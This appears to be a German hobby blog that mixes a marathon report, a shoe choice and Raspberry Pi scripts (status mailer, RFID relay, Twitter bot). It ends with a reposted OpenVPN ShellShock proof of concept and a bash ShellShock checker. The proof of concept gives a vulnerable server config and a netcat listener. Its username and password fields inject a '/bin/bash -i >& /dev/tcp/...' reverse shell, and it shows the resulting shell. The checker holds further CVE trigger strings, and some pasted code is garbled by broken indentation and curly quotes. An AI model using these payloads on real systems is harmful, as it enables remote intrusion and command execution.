Es ist vollbracht

2016-10-09-08-42-20

Es ist geschafft. 10 Monate Vorbereitung. 1178 Trainingskilometer (und ein paar Wettkämpfe).

Trainingsauswertung der letzten 10 Monate:

  • im Schnitt 30km/Woche
  • Durchschnitt 131km/Monat
  • 74 Trainingseinheiten
  • Jahresdurchschnitt pace (alle Läufe) 7:25/km
  • 30.336 Höhenmeter
  • 132587 verbrauchte kcal

Meine Wunsch Zielzeit war 04:30 für den Marathon.

Bis KM 15 war die Pace unter 05:50. Stellenweise sogar um die 5:30. Irgendwann war ich dann am Zielzeitläufer für 04:15 dran. Kurz vor Lochau (ca. km8) wurde mir das Tempo aber zu langsam (Was sich später noch rächen sollte)

Bei KM 25 hatte ich dann den ersten gewaltigen Einbruch (Pace 6:30 bis 7:00) Hab mich dann aber mit Bananen und Cola wieder halbwegs repariert. Das größere Problem waren allerdings die Schmerzen im Bereich der Vorderen Schienbeinsehne. Bis km 30 konnte ich es mehr oder weniger ignorieren. Die Schuhe neu schnüren hat dann das Problem kurzfristig gebessert.

Von KM 30 bis 33 bin ich volle in ein Runners High reingelaufen (wohl auch wegen meiner Metal Playlist). War da im Bereich von 5:37 bis 4:28 am weg.

Ab KM 35 war es ein Kampf da sich meine Oberschenkel dazu entschieden haben das sie nicht mehr wollen (Pace 7:00 bis 8:00) und sehr viele Gehpausen.

Der Einlauf ins Stadion war dann einfach nur mehr gigantisch. Es ist schwer zu beschreiben was ich da fühlte.

Die Stimmung an der Strecke in Deutschland und Österreich war gut. In der Schweiz einfach Wahnsinn. von Livebands über eine Guggamusik und sogar Cheerleader war alles dabei.

Ich glaube ich habe noch nie so gelitten und soviel mentale Stärke benötigt um etwas fertig zu bekommen. Sogar ein Halbmarathon ist Zuckerschlecken verglichen mit der vollen Distanz! Und ja es stimmt ab KM 30 läufst du den Marathon im Kopf.

Einen Tag danach habe ich keinen Muskel in den Beinen der nicht verkatert ist 😀

Auf jeden Fall ist es ein Wahnsinns Erlebnis und ich freue mich auf den nächsten Marathon 2017.

Die Qual der Wahl

 

Ich kämpfe grad mit der Entscheidung mit welchem Schuh ich beim Marathon starten soll.1. Adidas Supernova Sequenz Boost 8

Stabilschuh 338g.

Mein Hauptschuh im Training und für lange Läufe

Oder:

2. Adidas Adizero Adios 3

Neutralschuh Wettkampf 230g

Mein Wettkampf Schuh.

Längste Distanz mit dem Schuh waren allerdings nur 10km.

Bin jetzt echt am grübeln welcher mein Favorit ist.

Systemstatus Automailer

Kleines Script welches via Cron Job ein mal täglich den Status der System als Mail sendet.
Daten der einzelnen Systeme werden über das Nagpy System geholt (Systemüberwachung via python und php.
Zur zeit aber mehr oder weniger noch in der Entwicklung)

#!/bin/bash/python
# -*- coding: utf8 -*-
#Vers 0.1

import os
import urllib
import smtplib
import time 


#nagpy auf den Systemen 
a1 = os.popen("curl -s http://10.0.10.129/nagpy/cpu.php").read()
a2 = os.popen("curl -s http://10.0.10.144/nagpy/cpu.php").read()
a3 = os.popen("curl -s http://10.0.10.130/nagpy/cpu.php").read()

b1 = os.popen("curl -s http://10.0.10.129/nagpy/free.php").read()
b2 = os.popen("curl -s http://10.0.10.144/nagpy/free.php").read()
b3 = os.popen("curl -s http://10.0.10.130/nagpy/free.php").read()
	
c1 = os.popen("curl -s http://10.0.10.129/nagpy/uptime.php").read()
c2 = os.popen("curl -s http://10.0.10.144/nagpy/uptime.php").read()
c3 = os.popen("curl -s http://10.0.10.130/nagpy/uptime.php").read()
#In V0.2 Zusätzl. abfrage Managed Switch, IP-Cam,WLAN-Router

		
e = "Temp .129:",a1,"Temp .144:",a2,"Temp .130:",a3,"FREE .129:",b1,"FREE .144:",b2,"FREE .130:",b3,"UP: .129:",c1,"UP: .144:",c2,"UP: .130:",c3

#Speichern und Formatierung momentan nur über den Umweg Datei
datei = open("/home/pi/python/mailstatus/tupel.txt","w")
for werte in e:
	s = str(werte) + '\n'
	datei.write(s)
datei.close

time.sleep(2) #Ohne sleep teilweise Programmfehler

datei = open("/home/pi/python/mailstatus/tupel.txt","r")
x = datei.read()
datei.close()
print x


#Mail Block
def send_msg():
	msg = (str(x))
	sender = "xxxxxxxxx" # Email des Absenders eintragen
	empfaenger = "xxxxxxxx" # Email des Empfaenfers eintragen
	server = smtplib.SMTP("smtp.gmail.com:587") # SMTP-Server deines Email-Anbieters eintragen
	server.ehlo()
	server.starttls()
	server.login("xxx", "xxxxx") # LogIn-Name und Passwort deines Email_Accounts eintragen
	server.sendmail(sender, empfaenger, msg)
	server.quit()

if __name__ == "__main__":
	send_msg()

RFID, GPIOs, Python und jede menge if abfragen

Mal wieder ein neues Projekt am Start 🙂
Ich möchte mittels RFID-Chips + Leser einen GPIO Kontakt schalten (wenn ein dann aus und umgekehrt)
Der GPIO Kontakt schaltet ein 5V Relais ein oder aus.
Denkbar wäre eine Weiterverwendung als Türüberwachung mittels Magnetkontakt und Signal.
Weitere Programmteile wie Speicherung der Chip Nummer + Zeit, Datum in eine SQL DB folgen noch.
Aktuelle bin ich mit dem ganzen IF, ELIF, ELSE Programmteil welcher die GPIOS
schaltet noch nicht ganz zufrieden.

#!/bin/bash/python
# -*- coding: utf8 -*-
#V0.01

#imports
import serial
import sys
import time
from operator import xor
import RPi.GPIO as GPIO

#Definiere GPIO 22(Pin 15) als Output:
GPIO.setwarnings(False)
GPIO.setmode(GPIO.BOARD)
GPIO.setup(15, GPIO.OUT)
#GPIO.output(15, GPIO.HIGH)


# UART
ID = ""
Zeichen = 0

Checksumme = 0
Tag = 0

# Flags
Startflag = "\x02"
Endflag = "\x03"

# UART oeffnen
UART = serial.Serial("/dev/ttyAMA0", 9600)
UART.open()

while True:

    # Variablen loeschen
    Checksumme = 0
    Checksumme_Tag = 0
    ID = ""

    # Zeichen einlesen
    Zeichen = UART.read()

    # Uebertragungsstart signalisiert worden?
    if Zeichen == Startflag:

        # ID zusammen setzen
        for Counter in range(13):

Zeichen = UART.read()
            ID = ID + str(Zeichen)

        # Endflag aus dem String loeschen
        ID = ID.replace(Endflag, "" );

        # Checksumme berechnen
        for I in range(0, 9, 2):
            Checksumme = Checksumme ^ (((int(ID[I], 16)) << 4) + int(ID[I+1], 16))
        Checksumme = hex(Checksumme)

        # Tag herausfiltern
        Tag = ((int(ID[1], 16)) << 8) + ((int(ID[2], 16)) << 4) + ((int(ID[3], 16)) << 0)
        Tag = hex(Tag)

        print ID[4:10]
		#Erlaube RFID Chips
		a = "25B8A2" #Key 1
		b = "5E5326" #Key 2
		if ID[4:10] == a:
			print "erlaubt Key 1"
		elif ID[4:10] == b:
			print "erlaubt Key 2"
		else:
			print "Key nicht erlaubt"
	
		#break

"""
WENN KEY1 auf leser gelegt wird abfrage ob GPIO HIGH oder LOW
	Wenn LOW dann auf HIGH schalten
	Wenn HIGH dann auf LOW schalten
Bei unerlaubtem RFID Key keine Schaltung und schleife startet von vorne
Schaltmatrix:
key a | GPIO HIGH   #key erlaubt
key a | GPIO LOW    #key erlaubt
key b | GPIO HIGH   #key erlaubt
key a | GPIO LOW    #key erlaubt
key c | GPIO HIGH | GPIO LOW  #key nicht erlaubt, keine Schaltung GPIO!
...
d.h
if key a == erlaubt AND GPIO == HIGH: --> überprüfen ob HIGH
	GPIO auf LOW
	print "Zugang erlaubt!, System aus"
if key a == erlaubt und GPIO == LOW:
	GPIO auf HIGH
	print "Anlage scharf geschaltet"
elif key == c:
	print "Kein Zugang"
	

Bsp für GPIO Signale
if GPIO.input(15) == GPIO.HIGH: #Abfrage status
	GPIO.output(15), GPIO.LOW #Aus
 





USB Probleme

Da mein Raspberry in Zukunft als NAS arbeiten soll wollte ich eine 2TB Platte dranhängen.
Allerdings weigert er sich beständig dagegen.
Bin momentan ratlos wo der Fehler liegt
Tipps sind herzlich willkommen!

Auszug  /var/log/messages
Nov 10 21:39:51 raspberrypitest kernel: [2678135.988419] usb 1-1.2.1: new high-speed USB device number 22 using dwc_otg
Nov 10 21:39:51 raspberrypitest kernel: [2678136.169787] usb 1-1.2.1: New USB device found, idVendor=1058, idProduct=0820
Nov 10 21:39:51 raspberrypitest kernel: [2678136.169855] usb 1-1.2.1: New USB device strings: Mfr=1, Product=2, SerialNumber=5
Nov 10 21:39:51 raspberrypitest kernel: [2678136.169876] usb 1-1.2.1: Product: My Passport 0820
Nov 10 21:39:51 raspberrypitest kernel: [2678136.169891] usb 1-1.2.1: Manufacturer: Western Digital
Nov 10 21:39:51 raspberrypitest kernel: [2678136.169906] usb 1-1.2.1: SerialNumber: 575838314137344146465035
Nov 10 21:39:51 raspberrypitest mtp-probe: checking bus 1, device 22: &quot;/sys/devices/platform/bcm2708_usb/usb1/1-1/1-1.2/1-1.2.1&quot;
Nov 10 21:39:51 raspberrypitest mtp-probe: bus: 1, device: 22 was not an MTP device

Neue Version Twitbot

Habe mir mal die Mühe gemacht meinen Twitbot anzupassen. Hoffe ich finde noch eine
einfachere Möglichkeit für die IF Abfragen und die Zuweisung der KW.
Aber für das erste macht er was er soll.

#!/usr/bin/env python
# -*- coding: utf8 -*-
#Vers1.1A

#Imports
import sys
import os
from time import *
from twython import Twython
import locale 
locale.setlocale(locale.LC_ALL, 'de_AT.utf8')
import datetime


#Daten ra... (Test-ACC)
#----------
#CONSUMER_KEY = 'xxxxxxxxxx'
#CONSUMER_SECRET = 'xxxxxxxx'
#ACCESS_KEY = 'xxxx-xxxx'
#ACCESS_SECRET = 'xxxxxx'
#------------
#Daten ls
CONSUMER_KEY = 'xxxx'
CONSUMER_SECRET = 'xxxxxxx'
ACCESS_KEY = 'xxxx-xxxxxxx'
ACCESS_SECRET = 'xxxxxxxxx'
api = Twython(CONSUMER_KEY,CONSUMER_SECRET,ACCESS_KEY,ACCESS_SECRET)

#Temperatursensor abfragen und  in Variable speichern
tfile = open("/sys/devices/w1_bus_master1/10-0008027904a5/w1_slave")
text = tfile.read()
tfile.close()
secondline = text.split("\n")[1]
temperaturedata = secondline.split(" ")[9]
temperature = float(temperaturedata[2:])
temperature = temperature / 1000  #zugleich auch Variable!

#KW Wert erstellen
today = datetime.date.today()
aktkw= today.isocalendar()[1] #Aktuelle KW

#Zeit erstellen
lt = localtime()
text = strftime ("%A")  #Wochentag abfragen und speichern
b = strftime (" Es ist der %d.%m.%Y um %H:%M:%S", lt)

#DEFS für KW 
KW42 = str(datetime.datetime(2014, 10, 17, 00, 00) - datetime.datetime.today())[:-7]
KW43 = str(datetime.datetime(2014, 10, 24, 12, 00) - datetime.datetime.today())[:-7]
KW44 = str(datetime.datetime(2014, 10, 31, 12, 00) - datetime.datetime.today())[:-7]
KW45 = str(datetime.datetime(2014, 11, 14, 12, 00) - datetime.datetime.today())[:-7]
KW46 = str(datetime.datetime(2014, 11, 21, 12, 00) - datetime.datetime.today())[:-7]
KW47 = str(datetime.datetime(2014, 11, 28, 12, 00) - datetime.datetime.today())[:-7]
KW48 = str(datetime.datetime(2014, 12, 05, 12, 00) - datetime.datetime.today())[:-7]
KW49 = str(datetime.datetime(2014, 12, 12, 12, 00) - datetime.datetime.today())[:-7]
KW50 = str(datetime.datetime(2014, 12, 19, 12, 00) - datetime.datetime.today())[:-7]
KW51 = str(datetime.datetime(2014, 12, 26, 12, 00) - datetime.datetime.today())[:-7]

#IF BLOCK (-->Alpha Version bis einfachere Möglichkeit vorhanden. Ansonsten pro Jahr 52 IF Abfragen!!)
if aktkw == 42:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW42+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 43:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW43+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 44:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW44+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 45:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW45+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 46:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW46+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 47:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW47+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 48:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW48+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 49:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW49+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 50:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW50+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 51:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW51+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')
if aktkw == 52:
	api.update_status(status='Guten Morgen.'+b+' Noch '+KW52+' Bis zum Wochenende. Aktuelle Aussentemperatur in Innsbruck:'+(str (temperature))+'°C.  ')


OpenVPN ShellShock

  1. # OpenVPN ShellShock PoC
  2. # Based on Fredrik Strömberg’s HN post: https://news.ycombinator.com/item?id=8385332
  3. # Verified by @fj33r, posted at: http://sprunge.us/BGjP
  4. ### server.conf
  5. port 1194
  6. proto udp
  7. dev tun
  8. client-cert-not-required
  9. auth-user-pass-verify /etc/openvpn/user.sh via-env
  10. tmp-dir „/etc/openvpn/tmp“
  11. ca ca.crt
  12. cert testing.crt
  13. key testing.key  # This file should be kept secret
  14. dh dh1024.pem
  15. server 10.8.0.0 255.255.255.0
  16. keepalive 10 120
  17. comp-lzo
  18. user nobody
  19. group nogroup
  20. persist-key
  21. persist-tun
  22. client-cert-not-required
  23. plugin /usr/lib/openvpn/openvpn-auth-pam.so login
  24. script-security 3
  25. status openvpn-status.log
  26. verb 3
  27. ### user.sh
  28. #!/bin/bash
  29. echo $username
  30. echo $password
  31. ### start server
  32. openvpn server.con
  33. ### terminal 1
  34. nc -lp 4444
  35. ### terminal 2
  36. sudo openvpn –client –remote 10.10.0.52 –auth-user-pass –dev tun –ca ca.cert –auth-nocache –comp-lzo
  37. ### username && password were both shellshocked just incase
  38. user:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
  39. pass:() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &
  40. ### log
  41. Mon Sep 29 20:56:56 2014 NOTE: the current –script-security setting may allow this configuration to call user-defined scripts
  42. Mon Sep 29 20:56:56 2014 PLUGIN_INIT: POST /usr/lib/openvpn/openvpn-auth-pam.so ‚[/usr/lib/openvpn/openvpn-auth-pam.so] [login]‘intercepted=PLUGIN_AUTH_USER_PASS_VERIFY
  43. Mon Sep 29 20:56:56 2014 Diffie-Hellman initialized with 1024 bit key
  44. Mon Sep 29 20:56:56 2014 WARNING: POTENTIALLY DANGEROUS OPTION –client-cert-not-required may accept clients which do not present a certificate
  45. Mon Sep 29 20:56:56 2014 TLS-Auth MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]
  46. Mon Sep 29 20:56:56 2014 Socket Buffers: R=[163840>131072] S=[163840>131072]
  47. Mon Sep 29 20:56:56 2014 ROUTE default_gateway=10.10.0.1
  48. Mon Sep 29 20:56:56 2014 TUN/TAP device tun0 opened
  49. Mon Sep 29 20:56:56 2014 TUN/TAP TX queue length set to 100
  50. Mon Sep 29 20:56:56 2014 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0
  51. Mon Sep 29 20:56:56 2014 /sbin/ifconfig tun0 10.8.0.1 pointopoint 10.8.0.2 mtu 1500
  52. Mon Sep 29 20:56:56 2014 /sbin/route add -net 10.8.0.0 netmask 255.255.255.0 gw 10.8.0.2
  53. Mon Sep 29 20:56:56 2014 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]
  54. Mon Sep 29 20:56:56 2014 GID set to nogroup
  55. Mon Sep 29 20:56:56 2014 UID set to nobody
  56. Mon Sep 29 20:56:56 2014 UDPv4 link local (bound)[undef]
  57. Mon Sep 29 20:56:56 2014 UDPv4 link remote: [undef]
  58. Mon Sep 29 20:56:56 2014 MULTI: multi_init called, r=256 v=256
  59. Mon Sep 29 20:56:56 2014 IFCONFIG POOL: base=10.8.0.4 size=62ipv6=0
  60. Mon Sep 29 20:56:56 2014 Initialization Sequence Completed
  61. Mon Sep 29 20:57:54 2014 MULTI: multi_create_instance called
  62. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Re-using SSL/TLS context
  63. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 LZO compression initialized
  64. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Control Channel MTU parms [ L:1542 D:138 EF:38 EB:0 ET:0 EL:0 ]
  65. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:0 AF:3/1 ]
  66. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Local Options hash (VER=V4)‚530fdded‘
  67. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 Expected Remote Options hash (VER=V4)‚41690919‘
  68. Mon Sep 29 20:57:54 2014 10.10.0.56:1194 TLS: Initial packet from [AF_INET]10.10.0.56:1194sid=644ea55a 5f832b02
  69. AUTH-PAM: BACKGROUND: user ‚() { :;};/bin/bash -i >& /dev/tcp/10.10.0.56/4444 0>&1 &‘ failed to authenticate: Error in service module
  70. Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: POST /usr/lib/openvpn/openvpn-auth-pam.so/PLUGIN_AUTH_USER_PASS_VERIFY status=1
  71. Mon Sep 29 20:57:57 2014 10.10.0.56:1194 PLUGIN_CALL: plugin function PLUGIN_AUTH_USER_PASS_VERIFY failed with status 1:/usr/lib/openvpn/openvpn-auth-pam.so
  72. _________/bin/bash_-i____/dev/tcp/10.10.0.56/4444_0__1__
  73. Mon Sep 29 20:57:57 2014 10.10.0.56:1194 TLS Auth Error: Auth Username/Password verification failed for peer
  74. Mon Sep 29 20:57:57 2014 10.10.0.56:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA
  75. Mon Sep 29 20:57:57 2014 10.10.0.56:1194 [] Peer Connection Initiated with [AF_INET]10.10.0.56:1194
  76. Mon Sep 29 20:57:59 2014 10.10.0.56:1194 PUSH: Received control message: ‚PUSH_REQUEST‘
  77. Mon Sep 29 20:57:59 2014 10.10.0.56:1194 Delayed exit in 5 seconds
  78. Mon Sep 29 20:57:59 2014 10.10.0.56:1194 SENT CONTROL [UNDEF]‚AUTH_FAILED‘ (status=1)
  79. Mon Sep 29 20:58:01 2014 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
  80. Mon Sep 29 20:58:04 2014 10.10.0.56:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting
  81. ### nc listener
  82. nobody@debian:/etc/openvpn$ id
  83. id
  84. uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Shellshock Überprüfung

#!/bin/bash
warn() {
if [ „$scary“ == „1“ ]; then
echo -e „33[91mVulnerable to $133[39m“
else
echo -e „33[93mFound non-exploitable $133[39m“
fi
}
good() {
echo -e „33[92mNot vulnerable to $133[39m“
}
[ -n „$1“ ] && bash=$(which $1) || bash=$(which bash)
echo -e „33[95mTesting $bash …“
echo $($bash –version | head -n 1)
echo -e „33[39m“
#r=`a=“() { echo x;}“ $bash -c a 2>/dev/null`
if [ -n „$(env ‚a’=“() { echo x;}“ $bash -c a 2>/dev/null)“ ]; then
echo -e „33[91mVariable function parser active, maybe vulnerable to unknown parser bugs33[39m“
scary=1
elif [ -n „$(env ‚BASH_FUNC_a%%’=“() { echo x;}“ $bash -c a 2>/dev/null)“ ]; then
echo -e „33[92mVariable function parser pre/suffixed [%%, upstream], bugs not exploitable33[39m“
scary=0
elif [ -n „$(env ‚BASH_FUNC_a()’=“() { echo x;}“ $bash -c a 2>/dev/null)“ ]; then
echo -e „33[92mVariable function parser pre/suffixed [(), redhat], bugs not exploitable33[39m“
scary=0
elif [ -n „$(env ‚BASH_FUNC_<a>%%’=“() { echo x;}“ $bash -c a 2>/dev/null)“ ]; then
echo -e „33[92mVariable function parser pre/suffixed [<..>%%, apple], bugs not exploitable33[39m“
scary=0
else
echo -e „33[92mVariable function parser inactive, bugs not exploitable33[39m“
scary=0
fi
r=`env x=„() { :; }; echo x“ $bash -c „“ 2>/dev/null`
if [ -n „$r“ ]; then
warn „CVE-2014-6271 (original shellshock)“
else
good „CVE-2014-6271 (original shellshock)“
fi
cd /tmp;rm echo 2>/dev/null
env x=‚() { function a a>\‘ $bash -c echo 2>/dev/null > /dev/null
if [ -e echo ]; then
warn „CVE-2014-7169 (taviso bug)“
else
good „CVE-2014-7169 (taviso bug)“
fi
$($bash -c „true $(printf ‚<<EOF %.0s‘ {1..80})“ 2>/tmp/bashcheck.tmp)
ret=$?
grep -q AddressSanitizer /tmp/bashcheck.tmp
if [ $? == 0 ] || [ $ret == 139 ]; then
warn „CVE-2014-7186 (redir_stack bug)
else
good „CVE-2014-7186 (redir_stack bug)
fi
$bash -c „`for i in {1..200}; do echo -n „for x$i in; do :;“; done; for i in {1..200}; do echo -n „done;“;done`“ 2>/dev/null
if [ $? != 0 ]; then
warn „CVE-2014-7187 (nested loops off by one)
else
echo -e „33[96mTest for CVE-2014-7187 not reliable without address sanitizer33[39m
fi
$($bash -c „f(){ x(){ _;};x(){ _;}<<a;}“ 2>/dev/null)
if [ $? != 0 ]; then
warn „CVE-2014-6277 (lcamtuf bug #1)“
else
good „CVE-2014-6277 (lcamtuf bug #1)“
fi
if [ -n „$(env x='() { _;}>_[$($())] { echo x;}‘ $bash -c : 2>/dev/null)“ ]; then
warn „CVE-2014-6278 (lcamtuf bug #2)“
elif [ -n „$(env BASH_FUNC_x%%='() { _;}>_[$($())] { echo x;}‘ $bash -c : 2>/dev/null)“ ]; then
warn „CVE-2014-6278 (lcamtuf bug #2)“
elif [ -n „$(env ‚BASH_FUNC_x()’='() { _;}>_[$($())] { echo x;}‘ $bash -c : 2>/dev/null)“ ]; then
warn „CVE-2014-6278 (lcamtuf bug #2)“
else
good „CVE-2014-6278 (lcamtuf bug #2)“
fi